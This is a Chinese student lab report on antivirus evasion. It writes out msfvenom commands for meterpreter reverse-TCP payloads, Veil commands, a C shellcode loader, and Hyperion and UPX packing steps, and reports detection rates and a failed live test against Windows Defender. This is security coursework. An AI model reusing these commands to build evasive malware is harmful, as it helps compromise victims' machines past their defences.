目錄
- 目錄
- 0.認識工具
- Veil
- 1.實驗目標
- 2.實驗內容
- 3.實驗過程
- (1)使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
- (2)使用veil加殼工具加殼
- (3)使用C + shellcode程式設計
- (4)透過組合應用各種技術實現惡意程式碼免殺
- (5)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功
- 4.問題及解決方案
- 5.學習感悟、思考等
- 參考資料
0.認識工具
Veil
一款專為滲透設計的開源工具,旨在生成能夠繞過主流防病毒(AV)軟體檢測的惡意載荷。它透過多種技術手段,如加密、混淆和利用漏洞,確保生成的載荷在目標環境中能夠順利執行而不被AV軟體攔截
apt-get install veil
---安裝Veil
veil
---啟動Veil
use tool_number
---選擇工具
list
---列出可用的工具
set option_name option_value
---設定選項
generate
---生成Payload
exit
---退出Veil
info
---顯示工具資訊
update
---更新Veil
1.實驗目標
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
- 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
- veil,加殼工具
- 使用C + shellcode程式設計
(2)透過組合應用各種技術實現惡意程式碼免殺
如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。
(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
2.實驗內容
(1)掌握免殺原理與技術
(2)回答問題
-
殺軟是如何檢測出惡意程式碼的?
1.基於特徵碼:檢測檔案中是否有木馬病毒特徵碼;如果檢測出匹配就是惡意程式碼
2.啟發式分析:檢查軟體的特徵和行為,易誤報,但可以檢測出新型的惡意程式碼
3.行為分析:檢查軟體執行的行為,是否執行敏感操作。如果與已知的惡意行為相符,就判定為惡意程式碼 -
免殺是做什麼?
採取各種技術手段,使惡意軟體能夠繞過防毒軟體的檢測和防禦,從而成功地在目標系統上執行。 -
免殺的基本方法有哪些?
1.改變特徵碼
2.加密殼,壓縮殼
3.程式碼混淆
4.改變行為(通訊方式,操作方式)
3.實驗過程
(1)使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
msf可以將源程式重新編碼,生成新的2進位制檔案;執行後執行源程式功能
先檢視所有的編碼器
msfvenom --list encoder
選一個rank等級高的來編碼:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe
這時會根據需求生成一個可執行程式:
先測試一下它的免殺效果,這裡用virustotal進行檢測,網址見參考資料
60/72,效果並不好;嘗試多次編碼看看效果
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe
測試後效果一般,沒有明顯變化。下一步試試其他檔案,先生成jar包
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f jar > 20222320_first.jar
生成結果如下:
把這個拿去檢測一下:
和直接編碼為exe相比有所下降,但還是比較高。
再試試做一個apk:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f apk > 20222320_first.apk
這個拿去檢測:
透過率稍微高點,但作為免殺來說還是較低。這3個結果說明直接生成的結果難以直接透過檢測,所以要找別的辦法
(2)使用veil加殼工具加殼
安裝veil就很麻煩,而且地下實驗室網不好,真要安半小時才行。具體如圖安裝,更著安裝程式一直安就行:
安裝完後應該是這個介面:
先輸入下列指令生成個預設exe看看
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.56.103
set LPORT 2320
generate
這裡要到它顯示的檔案路徑去查詢生成的檔案才行,找到後放回當前資料夾便於使用:
拿去直接檢測一下:
結果並不好,透過率不足一半,說明還是不能實現免殺
(3)使用C + shellcode程式設計
用msf生成一段shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2320 -f c
生成一段shellcode,接下來將它們放到一個.c檔案裡面:
unsigned char buf[] = "[生成的shellcode]";
int main() {
int (*func)() = (int(*)())buf;
func();
}
交叉編譯這個程式:
i686-w64-mingw32-g++ shellcode_c.c -o winshell.exe
檢測一下:
比起之前的,可以說檢出機率小了很多了
(4)透過組合應用各種技術實現惡意程式碼免殺
基本思路就是利用msf生成的shell上,用c+shellcode生成原始檔,再用wine的hyperion加密,然後upx壓縮殼
i686-w64-mingw32-gcc win_shell.c -o win_shell.exe
wine /usr/share/windows-resources/hyperion/hyperion.exe -v win_shell.exe win_shell.hyed.exe
upx win_shell.hyed.exe -o winshell_upx.exe
拿去檢查一下,看看透過率:
實現巨大突破了,雖然還不是完全免殺,但已經很成功了,這下透過winscp連線到windows上,嘗試執行。
(5)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功
先設定kali準備監聽,步驟同實驗二,注意載荷要和生成的shellcode載荷一樣,不然會失敗
電腦用的windows自帶的防護程式和mcafee(刪不掉),剛剛生成的軟體在win防護中心和mcafee都開啟的情況下,雙擊執行
哦嚯,被win防護檢測出來了,那就換一下方法吧:用veil生成程式,再加密並壓縮
先生成一個:
再壓縮:
檢測看看:
看來不是很行,但不管了,試試:
完蛋,還是不行。後面又嘗試了好幾種組合,都不太行,windows自帶的防護中心太猛了
沒辦法,這個算是完不成了,具體原因後面分析吧
4.問題及解決方案
- 問題1:veil下載出bug
- 問題1解決方案:這個當時沒注意截圖,寫報告時安裝好了沒有圖片了;描述一下就是缺少一個wine的依賴,這是程式會在後面提示你重新執行veil的安裝程式,照著重新安裝就行。也可能會有網路問題,這時候換源就行
- 問題2:免殺失敗
- 問題2解決方案:見下方學習思考
5.學習感悟、思考等
先看一下加殼的原理,加殼就是把原始的程式裝到一個“外殼”裡保護起來。所以被保護過的程式啟動其實是從殼程式碼開始的,然後才會啟動處理之後的原始程式,因為原始程式上加了一堆的加密和虛擬化手段,沒有殼程式碼參與,作業系統已經不能正確執行了。加殼時對block進行編譯保護,一個 Block 會被掰開、揉碎、打散,變成多個 Block,而且還分散在各處。這樣就不可能直接反編譯,最後連結儲存相關的操作,便於復原。
那和win報錯有什麼關係呢?加殼處理過的程式內部已經不能像一個“正經”程式那樣被人隨便分析了,防毒軟體的思路通常是“不讓我看懂就說明你有問題”,所以就報毒。而且msf太老了,被各路軟體都分析透了。而且這次試驗的免殺技術也比較簡單,,靜態就被殺了,說明特徵碼被找到唄。真要改的話參考下面免殺要進入程式修改特徵碼才行吧,而不是隻是簡單執行加密壓縮殼。
這次試驗雖然最後有點失敗,但透過查資料分析原因,還是讓我對免殺認識了很多的,總而言之,道高一尺魔高一丈啊
參考資料
- virustotal網址
- 實驗指導書
- 加殼到底是怎麼回事
- 常用免殺技術
- 免殺基礎